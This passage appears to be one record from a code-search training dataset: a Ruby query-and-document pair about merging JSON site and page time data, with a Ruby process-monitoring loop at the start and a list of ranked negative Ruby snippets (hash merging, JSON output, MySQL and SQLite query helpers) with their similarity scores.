@ports_analyzer[analyzer.cmd_port - @start_port + 1]=analyzer.id\n try_count[analyzer.id]=0 if try_count[analyzer.id].nil?\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n if $is_debug && (not $loggers.has_key? analyzer.id)\n $loggers[analyzer.id] = Logger.new(File.join(File.dirname(__FILE__), \"../../log/master_#{analyzer.id}.dug\"))\n $loggers[analyzer.id].formatter = MasterPrettyErrors.new\n $loggers[analyzer.id].level=Logger::DEBUG\n end\n }\n time=Time.now()\n selected_socket_list=IO.select([@server], nil, nil, 5)\n if (selected_socket_list.nil?)\n $logger.debug \"Nothing to send Do a heartbeat\"\n #logger.debugs @ports_analyzer.inspect()\n @ports_analyzer.each_index { |port_index|\n analyzer_id=@ports_analyzer[port_index]\n port=nil\n if !analyzer_id.nil?\n port=get_port(analyzer_id)\n end\n\n unless port.nil?\n # keepalive check\n begin\n active_time=File.ctime(\"/tmp/keepalive_#{analyzer_id}.out\")\n if Time.now-active_time > 1200\n $logger.debug \"KeepAlive overdue for #{analyzer_id}\"\n raise\n end\n rescue Errno::ENOENT => e\n $logger.debug \"KeepAlive doesn't exist!\"\n `touch /tmp/keepalive_#{analyzer_id}.out`\n rescue Exception => e\n $logger.debug \"Monitor process dead, let's kill it!\"\n anl=Analyzers.find(analyzer_id)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n begin\n $loggers[anl.id].debug \"Kill analyzer process #{anl.pid}\" if $is_debug\n `kill -9 #{anl.pid}`\n try_count[analyzer_id]=0\n rescue\n end\n else\n System_logs.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"Unable to start monitoring process for Analyzer: #{anl.name}\" if $is_debug\n anl.update_attributes({:pid => nil})\n end\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n $loggers[anl.id].debug \"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\" if $is_debug\n System_logs.log(\"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\", nil, System_logs::MESSAGE, analyzer_id)\n `touch /tmp/keepalive_#{analyzer_id}.out`\n start_monitor(analyzer_id, port)\n try_count[analyzer_id] = 0\n next\n end\n\n try_count[analyzer_id] +=1\n request=Net::HTTP.new('localhost', port)\n $logger.debug \"Do a heartbeat on #{port}\"\n #tries=0\n flag=true\n begin\n #sleep 5\n #tries +=1\n $logger.debug \"TRY # #{try_count[analyzer_id]}\"\n $loggers[analyzer_id].debug \"Confirm analyzer cmd_port try_count # #{try_count[analyzer_id]}\" if $is_debug\n request.read_timeout=10\n response=request.get(\"/\")\n rescue Timeout::Error #Instrument not responding. Lets kill the process.\n $logger.debug \"Timeout::Error\"\n flag=false\n anl=Analyzers.find(analyzer_id)\n if (try_count[analyzer_id] > retrys)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n begin\n #`kill -9 #{anl.pid}`\n $logger.debug \"Kill analyzer process #{anl.pid}\"\n $loggers[anl.id].debug \"Kill analyzer process #{anl.pid}\" if $is_debug\n Process.kill(\"TERM\", anl.pid)\n try_count[analyzer_id]=0\n rescue\n end\n else\n System_logs.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"Unable to start monitoring process for Analyzers: #{anl.name}\" if $is_debug\n anl.update_attributes({:pid => nil})\n end\n end\n rescue Exception => e\n $logger.debug \"#{e.message}\"\n #sleep 5\n #$logger.debug \"Try again\"\n flag=false\n #if (try_count[analyzer_id] > 5)\n if (try_count[analyzer_id] > retrys)\n anl=Analyzers.find(analyzer_id)\n #ret = `ps -ef | grep #{anl.pid}`\n #unless ret.include?(\"monitor\")\n begin\n if Sticky_ID != -1 && Region.find(Analyzers.find(analyzer_id).region_id).server_id != Sticky_ID\n $logger.debug \"This analyzer is not on this server.\"\n $loggers[anl.id].debug \"This analyzer is not on this server.\" if $is_debug\n next\n end\n\n Process::getpgid anl.pid\n try_count[analyzer_id]=0\n rescue => e\n puts e.message\n try_count[analyzer_id]=0\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n System_logs.log(\"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\" if $is_debug\n `touch /tmp/keepalive_#{analyzer_id}.out`\n start_monitor(analyzer_id, port)\n end\n end\n end\n if flag==true\n try_count[analyzer_id]=0\n end\n $logger.debug \"response.inspect: #{response.inspect()}\"\n end\n diff=Time.now-time\n if diff < 5\n sleep (5-diff)\n end\n }\n else\n selected_socket=selected_socket_list[0].first()\n @sock=selected_socket.accept\n process()\n end\n end\n end" ]
[ "0.6818809", "0.6809213", "0.6691852", "0.6690542", "0.66665477", "0.6657021", "0.65788573", "0.6574315", "0.65713966", "0.6530469", "0.65282047", "0.64638317", "0.6441278", "0.6435358", "0.6431929", "0.64170516", "0.6395501", "0.6385889", "0.6357999", "0.6325857", "0.62747264", "0.6269164", "0.62507284", "0.6247812", "0.6240251", "0.622059", "0.61861295", "0.6166657", "0.61479497", "0.6124397", "0.6124299", "0.611932", "0.6110849", "0.61096543", "0.6107794", "0.6051311", "0.60485804", "0.60471666", "0.60392493", "0.60380775", "0.6033186", "0.6024801", "0.60172987", "0.60147256", "0.6012995", "0.60049057", "0.5997602", "0.59956235", "0.5994641", "0.5987982", "0.5985508", "0.5985024", "0.59806955", "0.5980044", "0.5979", "0.5968019", "0.5950153", "0.5926713", "0.591985", "0.59185183", "0.5914498", "0.5893099", "0.58903974", "0.58760494", "0.58636326", "0.5853843", "0.5837622", "0.5836377", "0.5835936", "0.58336484", "0.5818606", "0.5818189", "0.5817953", "0.58095175", "0.5808465", "0.58006287", "0.5797679", "0.57944715", "0.57879525", "0.5786403", "0.57629967", "0.57488704", "0.5748095", "0.57381344", "0.57353157", "0.57342374", "0.57185125", "0.57131684", "0.5710308", "0.5705854", "0.56967616", "0.56886756", "0.5687625", "0.5683751", "0.5682182", "0.56735283", "0.566444", "0.5662022", "0.56395054", "0.5624005", "0.5613189" ]
0.0
-1
combine two pieces of JSON
def combineJSON(exJSON, incJSON) # Make sure we don't get parsing errors with new users if(exJSON == "") exJSON = "[]" end existingData = JSON.parse(exJSON) newData = JSON.parse(incJSON) for i in 0..newData.length - 1 newSite = newData[i] newSitePages = newSite["pages"] # For page comparison newSiteName = newSite["title"] newSiteTime = TimeHelper.timeToMs(newSite["time"]) siteFound = false for j in 0..existingData.length - 1 existingSite = existingData[j] existingSitePages = existingSite["pages"] # For page comparison existingSiteName = existingSite["title"] existingSiteTime = TimeHelper.timeToMs(existingSite["time"]) if newSiteName == existingSiteName siteFound = true # add up the site level times together combinedSiteTime = newSiteTime + existingSiteTime combinedSiteTimeString = TimeHelper.msToTime(combinedSiteTime) existingSite["time"] = combinedSiteTimeString # start comparing the pages for k in 0..newSitePages.length - 1 newPage = newSitePages[k] newPageName = newPage["title"] newPageDate = newPage["date"] newPageTime = TimeHelper.timeToMs(newPage["time"]) pageFound = false for l in 0..existingSitePages.length - 1 existingPage = existingSitePages[l] existingPageName = existingPage["title"] existingPageDate = existingPage["date"] existingPageTime = TimeHelper.timeToMs(existingPage["time"]) #if the two pages have the same name and date; add their values together if newPageName == existingPageName && newPageDate == existingPageDate pageFound = true combinedPageTime = newPageTime + existingPageTime combinedPageTimeString = TimeHelper.msToTime(combinedPageTime) existingPage["time"] = combinedPageTimeString existingSitePages[l] = existingPage end end # if the page doesn't match anywhere, add it onto the site object if !pageFound existingSitePages << newPage end end existingSite["pages"] = existingSitePages existingData[j] = existingSite end end # no match; add the new site right inot the existing data if !siteFound existingData << newSite end end return existingData end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def append_json_results(second_wrapper)\n\n primary_result_as_ruby = JSON.parse(self.result)\n second_result_as_ruby = JSON.parse(second_wrapper.result)\n merged_result = primary_result_as_ruby + second_result_as_ruby\n\n # The second request might have an URL to point at even more data, so preserve the 'More' url from that wrapper.\n WAPIResultWrapper.new(meta_status, \"Merged wapi results\", JSON.generate(merged_result), second_wrapper.meta_more)\n\n end", "def combine_json scents\n full_json = scents.inject(Hash.new) do |result, cur|\n result.update(cur) {|key, running, cur| running + cur }\n end\n \n full_json.to_json\n end", "def combineJsonObjects (jsonObjects)\n hashes = []\n jsonObjects.each do |jsonObject|\n hashes << JSON.parse(jsonObject)\n end\n\n mainHash = combineHashes(hashes)\n return mainHash.to_json\n end", "def merge original, additional\n new_pact = JSON.parse(original.to_json, symbolize_names: true)\n\n merge_interactions_or_messages(new_pact, original, additional, :interactions)\n merge_interactions_or_messages(new_pact, original, additional, :messages)\n\n new_pact\n end", "def mergeWithAPI(items)\n file = File.read(Dir.pwd + '/lib/item-efficiency-combined.json')\n item_efficiency_combined = JSON.parse(file)\n\n new_item_data = {}\n\n items[\"data\"].each do |id, item|\n if !item_efficiency_combined[id].nil?\n new_item = item.merge(item_efficiency_combined[id])\n else\n new_item = item\n end\n new_item_data[id] = new_item\n end\n\n items[\"data\"] = new_item_data\n\n return items\n end", "def merge!(other)\n assert_archive other\n clear_caches\n\n merge_data @data, other.as_json, other.uri\n nil\n end", "def merge(other)\n assert_archive other\n\n data = deep_clone(@data)\n merge_data data, other.as_json, other.uri\n\n self.class.new data\n end", "def mergeNewsFeed\n newsFeed = aviator.merge flightglobal\n cleanNewsFeed= JSON.pretty_generate(newsFeed).gsub(\":\", \" =>\")\n cleanNewsFeed\nend", "def merge(other_hash); end", "def merge(*docs)\n json_op(:merge, self, *docs.map { |d| Sequel.object_to_json(d) })\n end", "def json_title_plus(json_title, json_other)\n lambda do |rec, acc|\n title = rec[json_title]\n other = rec[json_other]\n if other.present?\n title.present? ? acc.replace([\"#{title} #{truncate(other)}\"]) : acc.replace([truncate(other)])\n else\n acc.replace([title])\n end\n end\n end", "def merge_data(argu, argu2)\n names = argu[0]\n names2 = argu[1]\n\n argu2.each do |nested_hash|\n nested_hash.each do |name, hash|\n hash.each do |key, value|\n if name == \"blake\"\n names[key] = value\n elsif name == \"ashley\"\n names2[key] = value\n end\n end\n end\n end\n\n new_array = []\n new_array << names\n new_array << names2\n new_array\nend", "def merge(ar_1, ar_2)\n result = {}\n ar_1.each_with_object(result) { |el, result| result[el] = el}\n ar_2.each_with_object(result) { |el, result| result[el] = el}\n result.values\nend", "def combine_coll_json(collection, obj_hash)\n collection_json = collection.to_gmaps4rails\n collection_array = ActiveSupport::JSON.decode(collection_json)\n\n unless obj_hash.nil?\n # add the search pin to the list of pins if it exists\n collection_array = collection_array << obj_hash\n end\n\n collection_array.to_json\n end", "def json_cmd_two(cmd, key, value, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key, \".\", value]\n else\n [\"JSON.#{cmd.upcase}\", key, path, value]\n end\n end", "def to_json\n [status, price, date]\n .reduce(&:merge)\n .to_json\n end", "def merge! other_feed\n [:id, :title, :subtitle, :updated, :rights, :logo, :icon].each do |p|\n if (v = other_feed.get(p))\n set p, v\n end\n end\n\n [:links, :categories, :authors, :contributors].each do |p|\n other_feed.get(p).each do |e|\n get(p) << e\n end\n end\n\n @extensions = other_feed.extensions\n\n merge_entries! other_feed\n end", "def merged_result; end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def concat_child_arrays( h1, h2, key )\n h_out = {}\n if h1.has_key?( key )\n if h2.has_key?( key )\n h_out = { key => h1[ key ].concat( h2[ key ] ) }\n else\n h_out = { key => h1[ key ] }\n end\n elsif h2.has_key?( key )\n h_out = { key => h2[ key ] }\n end\n return h_out\nend", "def jsonFinal(aryJson)\n\texit if aryJson.empty?\n\tfinalJson = \"{\"\n\taryJson.each do |i| \n\t\tif aryJson.first.eql? i\n\t\t\tfinalJson += \"\\n\"+i.toJson\n\t\telse\n\t\t\tfinalJson += \",\\n\"+i.toJson\n\t\tend\n\tend\n\tfinalJson += \"\\n}\"\nend", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def fetch_intersection(json_a, json_b)\n return json_b.kind_of?(Array) ? json_a & json_b : json_a.intersection(json_b)\n end", "def merge(hash_1, hash_2)\n\nend", "def combine(hash1, hash2)\n hash2.each do |k, v|\n if hash1.key?(k)\n hash1[k] = Array(hash1[k])\n hash1[k] = hash1[k] + v\n else\n hash1[k] = v\n end\n end\n hash1\n end", "def merge_data first_array, second_array\n\n output = []\n\n first_array.each_with_index do |element, index|\n new_hash = {}\n\n first_array[index].each do |key, value|\n new_hash[key] = value\n end\n\n second_array[index].each do |key, value|\n new_hash[key] = value\n end\n\n output << new_hash\n end\n output\nend", "def merge(with); end", "def to_json(*a)\n for_json.to_json(*a)\n end", "def join_snippet_data\n raw_snippets = data['snippets']\n return if raw_snippets.nil?\n data['snippets'] = raw_snippets.map do |timestamp, snippets|\n joined = snippets.map { |snippet| join_snippet snippet }\n .compact.each { |i| i.delete 'username' }\n [timestamp, joined] unless joined.empty?\n end.compact.to_h\n end", "def merge(hash_1, hash_2)\n merged = {}\n hash_1.each { |key, val| merged[key] = val }\n hash_2.each { |key, val| merged[key] = val }\n merged \nend", "def combine(other)\n other.each { |key, value| setting(key).combine!(value) } if other.is_a?(Hash)\n end", "def combine_lists(source, destination)\n if destination.empty?\n destination = source\n else\n source.each_key do |key|\n destination[key].value = destination[key].value + source[key].value\n end\n end\n return destination\n end", "def prepare_json\n to_return = Hash.new()\n to_return[:version] = @version\n to_return[:file_path] = @file_path\n to_return[:backup_type] = @backup.type\n to_return[:html] = generate_html\n\n # Add in AppleNotesAccounts\n to_return[:accounts] = Hash.new()\n @accounts.each do |account_id, account|\n to_return[:accounts][account_id] = account.prepare_json\n end\n\n # Add in AppleCloudKitShareParticipants\n to_return[:cloudkit_participants] = Hash.new()\n @cloud_kit_participants.each do |record_id, cloudkit_participant|\n to_return[:cloudkit_participants][record_id] = cloudkit_participant.prepare_json\n end\n\n # Add in AppleNotesFolders\n to_return[:folders] = Hash.new()\n @folders.each do |folder_id, folder|\n to_return[:folders][folder_id] = folder.prepare_json if !folder.is_child?\n end\n\n # Add in AppleNotes\n to_return[:notes] = Hash.new()\n @notes.each do |note_id, note|\n to_return[:notes][note_id] = note.prepare_json\n end\n\n to_return\n end", "def merge(hash); end", "def merge(hash); end", "def merge(hash); end", "def combine\n combine_requests({}).map do |name, ops|\n { name => ops }\n end\n end", "def to_json(*args)\n # smooshing their #to_json objects into one JSON hash\n combined = {}\n checks.each do |check|\n combined.merge!(JSON.parse(check.to_json))\n end\n\n combined.to_json\n end", "def deep_merge(source, hash); end", "def deep_merge(source, hash); end", "def augment_new_json(json)\n json\n end", "def deep_merge!(first, second)\n second.each_pair do |k,v|\n if first[k].is_a?(Hash) and second[k].is_a?(Hash)\n deep_merge!(first[k], second[k])\n else\n first[k] = second[k]\n end\n end\n end", "def package_updates(a, b)\n common_keys = a.keys & b.keys\n common_keys = a.keys & b.keys\n common_keys.inject({}) { |result, p| result.merge({p => a[p]}) }\n end", "def build_jason\n if @content.is_a?(Array)\n @content[0] = build_header_and_text_hashs @content[0] unless @content[0].empty?\n @content[2] = build_header_and_text_hashs @content[2] unless @content[2].empty?\n content_hash = {}\n content_hash = content_hash.merge(@content[0]) unless @content[0] || @content[0].empty?\n content_hash = content_hash.merge(@content[1])\n content_hash = content_hash.merge(@content[2]) unless @content[2] || @content[2].empty?\n @content = content_hash\n else\n @content = build_header_and_text_hashs @content\n end\n back_hash = build_back_portion @content\n document_hash = build_front_portion.merge( @content ).merge( back_hash ); back_hash = {}\n @content = {\n \"id\" => sha,\n \"nodes\" => document_hash\n }\n end", "def custom_merge(hash1, hash2)\n output = hash1.dup\n hash2.each { |key, value| output[key] = value }\n output\nend", "def merge(other); end", "def shallow_merge(other_hash); end", "def concat_merge original\n {}.tap do |result|\n original.each do |element|\n element.each_pair do |key, value|\n if value.is_a?(Array)\n result[key] ||= []\n result[key].concat value\n merge_if_equals(result[key])\n else\n result[key] = value\n end\n end\n end\n end\n end", "def merge_data!(other, source: \"YAML front matter\")\n merge_categories!(other)\n Utils.deep_merge_hashes!(data, other)\n merge_date!(source)\n data\n end", "def merge(other)\n self.class[Utils.merge(to_h, other)]\n end", "def deep_merge!(other_hash, &block); end", "def call a, b\n a.write @data.to_json\n end", "def to_json(a=nil,b=nil)\n to_hash.to_json\n end", "def merge_resultsets(result1, result2); end", "def merge_resultsets(result1, result2); end", "def deep_merge_and_concat_arrays(other_hash)\n self.merge(other_hash) do |key, oldval, newval|\n next newval unless newval.kind_of?(oldval.class)\n\n newval = case oldval\n when Hash then oldval.deep_merge(newval)\n when Array then oldval.concat(newval)\n else newval\n end\n\n next newval\n end\n end", "def combine_ins(obj); end", "def json_title_or(json_title, json_other)\n lambda do |rec, acc|\n title = rec[json_title]\n other = rec[json_other]\n title.present? ? acc.replace([title]) : acc.replace([truncate(other)])\n end\n end", "def merge other_hash\n self.class.new nested_class, to_h.merge((other_hash if other_hash.is_a? Hash) || other_hash.to_h)\n end", "def merge_data(keys,data)\n merged_array = []\n merged = {}\n for index in 0...(keys.length) do\n name = keys[index][:first_name]\n hash1 = keys[index]\n hash2 = data[0][name]\n merged = hash1.merge(hash2)\n merged_array << merged\n end\n return merged_array\nend", "def merge!(other_hash); end", "def merge!(other)\n case other\n when Hash\n data = other\n when FileStore\n data = other.to_h\n end\n data.each do |name, value|\n @data[name.to_s] = value \n end\n end", "def mergeCtoolsDashMneme(dash_result, mneme_result)\n\n #modify so that can an array of entries and merge them all.\n\n # Reconstitute the WAPI wrapper for the feed results. The data came from recursive calls to this\n # servlet so they are in string format here.\n\n dash_w = WAPIResultWrapper.new(\"status\", \"msg\", \"result\")\n dash_w.setValue(dash_result)\n\n mneme_w = WAPIResultWrapper.new(\"status\", \"msg\", \"result\")\n mneme_w.setValue(mneme_result)\n\n combined_w = WAPIResultWrapper.new(\"200\",\n \"combined the ctools dash and mneme feeds\",\n dash_w.result+mneme_w.result)\n combined_w.value\n end", "def deep_merge_hashes(master_hash, other_hash); end", "def merge(*other_hashes, &blk); end", "def merge_data(array1, array2)\n new_array = []\n array2.each do |element|\n element.each do |key, value|\n array1.each do |hash|\n if key == hash[:first_name]\n element[key][:first_name] = hash[:first_name]\n new_array << element[key]\n end\n end\n end\n end\nnew_array\nend", "def concat(other)\n @requests.concat(other.get_requests())\n self\n end", "def _deep_merge(hash, other_hash); end", "def merge_data(array1, array2)\n keys.collect do |name|\n name.merge(data[0][name[:first_name]])\n end\nend", "def merge_data(arg1, arg2)\n result = []\n arg1.each do |arg1_info|\n arg1_info.each do |arg1_key, arg1_value|\n arg2.each do |arg2_info|\n arg2_info.each do |arg2_key, arg2_value|\n if arg1_info[arg1_key] == arg2_key\n result << arg2_value.merge(arg1_info)\n end\n end\n end\n end\n end\n result\nend", "def merge(hash_1, hash_2)\n new_hash = Hash.new()\n\n hash_1.each {|key, value| new_hash[key] = value}\n\n hash_2.each {|key, value| new_hash[key] = value}\n new_hash\nend", "def merge_results(*results); end", "def merge_results(*results); end", "def merge_results(*results); end", "def deep_merge(*other_hashes, &blk); end", "def merge_2_array_of_hashes(a_arr, b_arr)\n merge_hash = a_hash = array_of_hashes_2_hash(a_arr) if a_arr\n merge_hash = b_hash = array_of_hashes_2_hash(b_arr) if b_arr\n merge_hash = a_hash.merge!(b_hash) if (a_arr and b_arr)\n merge_hash\nend", "def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end", "def merge; end", "def json_prepend(json = {})\n json_render_html('prepend', json)\n end", "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "def union(other)\n if self.serializer != other.serializer\n other = other.reserialize(serializer)\n end\n\n new_jrdd = jrdd.union(other.jrdd)\n RDD.new(new_jrdd, context, serializer, deserializer)\n end", "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "def jsonFinal(aryJson)\n\texit if aryJson.empty?\n\tfinalJson = \"{\"\n\taryJson.each do |i| \n\t\tif aryJson.first.eql? i\n\t\t\tfinalJson += \"\\n\"+i\n\t\telse\n\t\t\tfinalJson += \",\\n\"+i\n\t\tend\n\tend\n\tfinalJson += \"\\n}\"\nend", "def to_client_todo(obj) obj['value'].merge({'id' => obj['id'], 'order' => obj['key']}) end" ]
[ "0.69097316", "0.6777405", "0.6487326", "0.6094389", "0.60699266", "0.59678346", "0.58863574", "0.58633965", "0.58017206", "0.5759396", "0.5711692", "0.5600398", "0.55896485", "0.5571732", "0.55221087", "0.55149674", "0.54893", "0.548191", "0.54612494", "0.54612494", "0.54612494", "0.54612494", "0.54612494", "0.54612494", "0.54563546", "0.5451947", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.54282355", "0.5426278", "0.540621", "0.5403883", "0.5392132", "0.53896767", "0.5383335", "0.5382994", "0.537518", "0.53653055", "0.53499985", "0.53407705", "0.53381836", "0.53381836", "0.53381836", "0.53319985", "0.5321928", "0.53209823", "0.53209823", "0.5318756", "0.5310299", "0.53079045", "0.5300303", "0.52823186", "0.5259793", "0.52561384", "0.5254445", "0.52498287", "0.52455646", "0.5233131", "0.5228774", "0.5226376", "0.522237", "0.5222152", "0.52186435", "0.52172124", "0.5212394", "0.5206862", "0.5201732", "0.52004683", "0.5199628", "0.51903605", "0.5185285", "0.517784", "0.5177007", "0.5175661", "0.5172974", "0.51602435", "0.5152957", "0.5150098", "0.5148003", "0.51479733", "0.51479733", "0.51466286", "0.51391155", "0.513315", "0.51304317", "0.5115135", "0.5106061", "0.510556", "0.5104864", "0.51008934", "0.50844586" ]
0.576497
9
Function to read all info from MySQL Database
def readListsDatabase(connection) data = Array.new whiteData = Array.new greenData = Array.new grayData = Array.new blackData = Array.new whiteObj = Hash.new greenObj = Hash.new grayObj = Hash.new blackObj = Hash.new # Query each table and store all of the data in arrays for JSON Serialization whiteResults = connection.query("SELECT * FROM whitelist") whiteResults.each do |row| whiteData.push(row['WebsiteURL']) end greenResults = connection.query("SELECT * FROM greenlist") greenResults.each do |row| greenData.push(row['WebsiteURL']) end grayResults = connection.query("SELECT * FROM graylist") grayResults.each do |row| grayData.push(row['WebsiteURL']) end blackResults = connection.query("SELECT * FROM blacklist") blackResults.each do |row| blackData.push(row['WebsiteURL']) end # Build each hash whiteObj[:table] = 'white' whiteObj[:data] = whiteData greenObj[:table] = 'green' greenObj[:data] = greenData grayObj[:table] = 'gray' grayObj[:data] = grayData blackObj[:table] = 'black' blackObj[:data] = blackData # Push each hash into the bigger data array for serialization data.push(whiteObj) data.push(greenObj) data.push(grayObj) data.push(blackObj) databaseJSON = JSON.generate(data) return databaseJSON end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_all_info_from_user()\n\n db = connect_to_db(\"db/db.db\")\n\n db.execute(\"SELECT * FROM users\")\n end", "def db_listing\n lista = [] \n achado = $db.query \"SELECT * FROM produtos\" \n achado.each do |vals| \n lista.push vals\n end\n return lista\nend", "def establish_db_connection()\n @host = '127.0.0.1'\n @username = ''\n @password = ''\n\n my = Mysql.connect(@host, @username, @password)\n res = my.query('SHOW DATABASES;')\n puts res # need to be converted to string \n puts \"Tables_in_valutation\"\n res.each {|x| p x.to_s}\n res.free\nend", "def db_info\n @conn.query({url_path: \"#{database}\", method: :get})\n end", "def all\n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n results_as_objects(results)\n \n end", "def get_all_data(table)\n return $db.execute('SELECT * FROM ' + table);\n end", "def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end", "def read_table(table_name)\r\n ODBC.connect('', '', '') do |db|\r\n rows = db.run(\"select * from #{table_name}\").each_hash\r\n\r\n rows.map do |row|\r\n row.transform_values!(&:strip)\r\n id = row['FFJITMN']\r\n desc = row['FFIIDE1'].sub(/^PRODX?/, '').strip\r\n cat = row['FFJPBHN']\r\n\r\n Item.new(id, desc, cat, nil)\r\n end\r\n end\r\nend", "def all\n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects(results)\n\n end", "def _get_items\n con = Mysql2::Client.new(:host => $config['awesomizer']['host'], \n :username => $config['awesomizer']['user'], \n :password => $config['awesomizer']['pass'], \n :database => $config['awesomizer']['database'])\n output = []\n con.query('select * from items order by timestamp desc limit 80').each do |row|\n output.push row\n end\n\n output\n\nend", "def get_all_tables\n query = @db_connection.query('SHOW DATABASES;')\n @db_connection.close if @db_connection\n query.each do |x|\n begin\n db_connection = Mysql.connect(@host, @user, @pass, x[0], @port.to_i)\n print_good(\"Tables for #{x[0]}\")\n query = db_connection.query('SHOW TABLES;')\n query.each { |y| print_line(\"#{y[0]}\") }\n puts\n db_connection.close if db_connection\n rescue Mysql::Error => e\n print_error(\"Problem getting tables from #{x[0]}!\")\n print_error(\"#{e}\")\n end\n end\n @db_connection = Mysql.connect(@host, @user, @pass, @db, @port.to_i)\n end", "def get_all_user_data(user_id)\n return $db.execute(\"SELECT * FROM users WHERE user_id = ?\", user_id)\nend", "def select_all_user_info()\n return get_db_as_hash().execute(\"SELECT * FROM user\")\n end", "def viewContacts(db)\r\n\tputs \"-----------------------Contacts---------------------------\"\r\n\tcontact = db.execute(\"SELECT * FROM contacts ORDER BY name\")\r\n\tcontact.each do |entry|\r\n\t\tputs \"----------------------------------------------------------\"\r\n\t \tputs \"| Name: #{entry['name']}\"\r\n\t \tputs \"| ID: #{entry['id']}\" \r\n\t puts \"| Phone: #{entry['phone']}\"\r\n\t puts \"| Address: #{entry['address']}\"\r\n\t puts \"----------------------------------------------------------\"\r\n\t puts \"\"\r\n\t \tend\r\nend", "def display_students_db\n all_students = @conn.exec(\"SELECT * FROM students_db;\")\n #usp[e exec to pretty much do everything\n all_students.each do |student|\n student.each do |k,v|\n puts \"#{k}: #{v}\"\n puts all_students\n end\n end\nend", "def display_students(database)\r\n\tstudents = database.execute(\"SELECT * FROM students\")\r\n\tstudents.each do |student|\r\n\t\tputs \"ID: #{student[0]} Name: #{student[1]}\"\r\n\tend\r\nend", "def getinfo(user_id)\n info = []\n info << db.execute(\"SELECT * FROM users WHERE user_id=?\", user_id)[0]\n info << db.execute(\"SELECT name, avatar, listings.* FROM users INNER JOIN listings ON users.user_id = listings.user_id\")\n info << db.execute(\"SELECT category FROM categories\")\n info << db.execute(\"SELECT * FROM listing_cate_rel\")\n categories = db.execute(\"SELECT category FROM categories\")\n arr = []\n categories.each do |category|\n arr << category[\"category\"]\n end\n info << arr\n return info\nend", "def get_all_data\n init_data\n\n Bot::DB[my_name]\n end", "def get_all_data\n init_data\n\n Bot::DB[my_name]\n end", "def queryNewsTable\n @conn.exec( \"SELECT * FROM newslib\" ) do |result|\n result.each do |row|\n yield row if block_given?\n end\n end\n end", "def summ_contents(db)\n\tsumm_entries = db.execute(\"SELECT * FROM books\")\n\tif summ_entries == []\n\t\tputs \"You have zero logged books!\"\n\t\tputs\n\telse\n\t\tsumm_entries.each do |book|\n\t \t\tputs \"#{book['book_name']}\"\n\t\tend\n\tend\nend", "def show_list(db)\n\tcurrent_list = db.execute(\"Select * FROM list\")\n\tcurrent_list.each do |row|\n\tputs \"ID: #{row['id']} | #{row['name']} | #{row['gift']} | #{row['price']}\"\n\tend\n\tputs \"---------------------------\"\nend", "def get_data()\n db = read_db() # open database for querying\n db.results_as_hash = true # format query results as a hash so columns available as keys\n all_records = db.execute('select * from tokens')\n return all_records # get hash of arrays\nend", "def get_all()\n return JSON.parse(File.read(@database_file))\n \n # error handling\n rescue Errno::ENOENT\n File.open(@database_file, 'w+')\n File.write(@database_file, [])\n retry\n end", "def recipes\n db_connection do |conn|\n conn.exec(\"SELECT * FROM recipes\").to_a\n end\nend", "def full_info(db)\r\n info = db.execute(\"SELECT stocks2.company_name,stocks2.stock_ticker,stocks2.stock_price,stocks2.stock_exchange,stocks1.recommendation FROM stocks2 JOIN stocks1 ON stocks2.recommendation_id = stocks1.id;\")\r\n puts \"\"\r\n info.each do |category|\r\n puts \"\r\n Company Name : #{category['company_name']} \r\n Stock 